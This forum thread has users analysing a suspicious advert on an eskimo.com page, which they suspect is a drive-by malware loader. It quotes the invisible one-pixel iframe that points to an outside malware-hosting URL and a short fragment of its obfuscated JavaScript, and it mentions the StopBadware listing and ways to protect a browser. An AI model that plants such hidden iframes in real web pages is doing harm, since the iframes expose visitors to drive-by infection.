 nwrickertsand groperPremium,MVM
join:2004-09-04
Geneva, IL
kudos:7
 ·AT&T U-Verse
| reply to nwrickert
Re: Does anyone know anything about this advert?Here is the iframe definition near the bottom of the eskimo.com page:
<iframe src="http://cdpuvbhfzz.com/dl/adv598.php" width=1 height=1></iframe>
Anything obfuscated that way looks suspicious to me.
the content of the iframe has "unescape('%19%04%3C9%0E%60wL0" and that percent encoding goes on for most of the javascript (around 23000 bytes). Clearly somebody was hiding something.
I fetched those pages with "wget", so have local copies.
I later tried loading the page in XP with firefox, scripting turned on, but a limited user account. Nothing bad happened. This probably requires IE on an admin account before it can do anything bad.
Yet another reason to use a limited user account, to use firefox, to use the noscript extension.
--
AT&T dsl; Westell 327w modem/router; SuSE 10.1; firefox 2.0.0.13 |
|
 EGeezerSummertimePremium
join:2002-08-04
Midwest
kudos:7 | looks like the code in that line directs the user to the aforementiond website's directory: /dl/adv598.php
--
Mayors of New York come from nowhere and go nowhere.
Wallace Sayre (apparently, so do governors... ) |
|
nwrickertsand groperPremium,MVM
join:2004-09-04
Geneva, IL
kudos:7 Reviews:
·AT&T U-Verse
1 edit | yes it does
I used "lynx -dump" to decode it, before I posted the target link in an earlier post in this thread. That's quicker than trying to do it manually.
I don't currently have a good tool for handling that obfuscated javascript, though. |
|
|
|
EGeezerSummertimePremium
join:2002-08-04
Midwest
kudos:7 Reviews:
 ·Callcentric
1 edit | I also see that the adv.php page seems to have a malware warning from stopbadware.org - is that a recent development?
This site is currently (as of 04/15/2008) being reported to StopBadware by the following partners:Google: reported bad
--
Mayors of New York come from nowhere and go nowhere.
Wallace Sayre (apparently, so do governors... ) |
|
nwrickertsand groperPremium,MVM
join:2004-09-04
Geneva, IL
kudos:7 | Not sure.
I checked the stopbadware.org site for www.eskimo.com/dsl/ but it isn't listed. Other parts of eskimo.com are listed, but not the one that was used here.
I'm not seeing any warning if I try reloading the original link. |
|
EGeezerSummertimePremium
join:2002-08-04
Midwest
kudos:7 Reviews:
·Callcentric
| I think I might have loaded Google's link instead - Such a dummy I am!! My GET of the actual link only yielded an apache page .
--
Mayors of New York come from nowhere and go nowhere.
Wallace Sayre (apparently, so do governors... ) |
|
 newviewEx .. Ex .. ExactlyPremium
join:2001-10-01
Parsonsburg, MD
kudos:1
·Vonage
 ·DIRECTV
| reply to nwrickert
said by nwrickert:I don't currently have a good tool for handling that obfuscated javascript, though.
If you're looking for a good "de-obfuscator", Net Demon does the trick.
--
Ö¿Ö
The Rules of Spam | Maryland's Newest Anti-Spam Law
Where are we going? And what's with the hand basket? |
|
